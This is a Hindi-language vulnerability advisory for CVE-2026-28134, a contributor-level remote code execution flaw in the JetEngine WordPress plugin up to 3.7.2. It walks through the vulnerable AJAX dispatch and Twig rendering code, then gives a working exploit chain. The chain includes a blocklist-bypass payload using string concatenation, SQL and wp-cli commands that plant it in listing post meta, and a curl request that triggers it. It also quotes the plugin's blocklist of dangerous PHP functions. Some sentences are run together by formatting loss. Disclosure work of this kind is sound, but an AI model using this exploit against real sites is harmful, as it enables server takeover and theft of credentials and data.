
JetEngine <= 3.7.2 - प्रमाणीकृत (योगदानकर्ता+) दूरस्थ कोड निष्पादन
दिनांक: 11 मार्च 2026 CVSS स्कोर: 8.8 (उच्च) CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H प्रभावित प्लगइन: JetEngine <= 3.7.2 प्लगइन स्लग: jet-engine CVE: CVE-2026-28134 स्थिति: निजी परीक्षित WordPress संस्करण: नवीनतम
CVE-2026-28134, JetEngine WordPress प्लगइन में एक रिमोट कोड एक्ज़ीक्यूशन भेद्यता है जो 3.7.2 तक के सभी संस्करणों को प्रभावित करती है। यह भेद्यता Contributor-स्तर या उससे ऊपर की पहुँच वाले प्रमाणित हमलावरों को JetEngine Listing पोस्ट में एक दुर्भावनापूर्ण Twig टेम्पलेट इंजेक्ट करके सर्वर पर मनमाने OS कमांड निष्पादित करने की अनुमति देती है।
हमले की श्रृंखला तीन कमज़ोरियों को जोड़ती है:
~ स्ट्रिंग संयोजन ऑपरेटर का उपयोग करके सैनिटाइज़र को बायपास करना।✅ भेद्यता की पुष्टि हुई — पूर्ण RCE प्राप्त हुआ
पुष्टि किया गया प्रभाव:
www-data के रूप में मनमाना OS कमांड निष्पादन/etc/passwd, wp-config.php)JetEngine एक Twig/Timber-आधारित Listing व्यू प्रकार प्रदान करता है। जब timber_views घटक सक्षम होता है, तो _listing_type = twig वाली Listing पोस्ट्स का _jet_engine_listing_html पोस्ट मेटा Timber के माध्यम से एक लाइव Twig टेम्पलेट के रूप में रेंडर होता है। रेंडरिंग पाइपलाइन अनप्रमाणित wp_ajax_nopriv_jet_engine_ajax AJAX एक्शन के माध्यम से पहुँच योग्य है, जिसके लिए केवल यह आवश्यक है कि हमलावर एक JetEngine Listing पोस्ट बना या संशोधित कर सके (न्यूनतम Contributor भूमिका)।
| फ़ाइल | समस्या |
|---|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax पंजीकृत — कोई प्रमाणीकरण या nonce नहीं |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — मनमाना सार्वजनिक मेथड डिस्पैच |
includes/components/timber-views/timber.php:150 | render_html() बिना सैंडबॉक्स के हमलावर-नियंत्रित Twig टेम्पलेट रेंडर करता है |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — स्ट्रिंग regex ब्लॉकलिस्ट, टोकन विभाजन द्वारा बायपास |
timber-library/lib/Twig.php:42-43 | Timber call_user_func_array के लिए Twig रैपर के रूप में fn()/function() पंजीकृत करता है |
ajax-handlers.php प्रमाणित और अनप्रमाणित दोनों उपयोगकर्ताओं के लिए AJAX एक्शन पंजीकृत करता है:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
हैंडलर बिना किसी nonce या क्षमता जाँच के $_REQUEST['handler'] के आधार पर क्लास के किसी भी सार्वजनिक मेथड पर डिस्पैच करता है:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
listing_load_more को कॉल करना सार्वजनिक रूप से सुलभ है और Listing रेंडरिंग पाइपलाइन को ट्रिगर करता है।
listing_load_more → get_listing → frontend->get_listing_item कॉल श्रृंखला यहाँ पहुँचती है:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
जब $listing_view = 'twig' होता है, तो यह Jet_Engine\Timber_Views\Render::get_listing_content() को ट्रिगर करता है, जो पोस्ट के _jet_engine_listing_html मेटा फ़ील्ड से Twig टेम्पलेट पढ़ता है और उसे सीधे render_html() को भेजता है:
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig बिना सैंडबॉक्स के रेंडर करता है। एकमात्र सुरक्षा sanitize_twig_content() है।
sanitize_twig_content() वर्ड-बाउंड्री regex पैटर्न का उपयोग करके खतरनाक PHP फ़ंक्शन नामों को हटाता है और फिर जाँचता है कि टेम्पलेट संशोधित हुआ था या नहीं:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
पैटर्न \bsystem\b शाब्दिक टोकन system से मेल खाता है। यह "sys" ~ "tem" से नहीं मेल खाता क्योंकि ये दो अलग-अलग उद्धृत स्ट्रिंग टोकन हैं। Twig संयोजन का मूल्यांकन रेंडर समय पर करता है, जिससे "system" केवल मेमोरी में उत्पन्न होता है — स्रोत टेम्पलेट में ब्लॉक किया गया शब्द कभी मौजूद नहीं होता।
बायपास पेलोड:
{{ fn("sys" ~ "tem", "id") }}
सैनिटाइज़र fn, "sys", ~, "tem", "id" देखता है — इनमें से कोई भी ब्लॉकलिस्ट में नहीं है। यह बिना बदले पास हो जाता है।
fn() हेल्पर के माध्यम से कोड निष्पादनTimber PHP कॉल करने योग्य रैपर सीधे Twig वातावरण में पंजीकृत करता है:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} call_user_func_array("system", ["id"]) में परिवर्तित होता है — मनमाना OS कमांड निष्पादन।
timber_views घटक सक्षम है (JetEngine Settings > Performance > Timber/Twig Views)।पोस्ट मेटा में संग्रहीत दुर्भावनापूर्ण Twig टेम्पलेट के साथ एक JetEngine Listing पोस्ट बनाएँ:
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
या wp-cli के माध्यम से (Contributor उपयोगकर्ता के रूप में):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'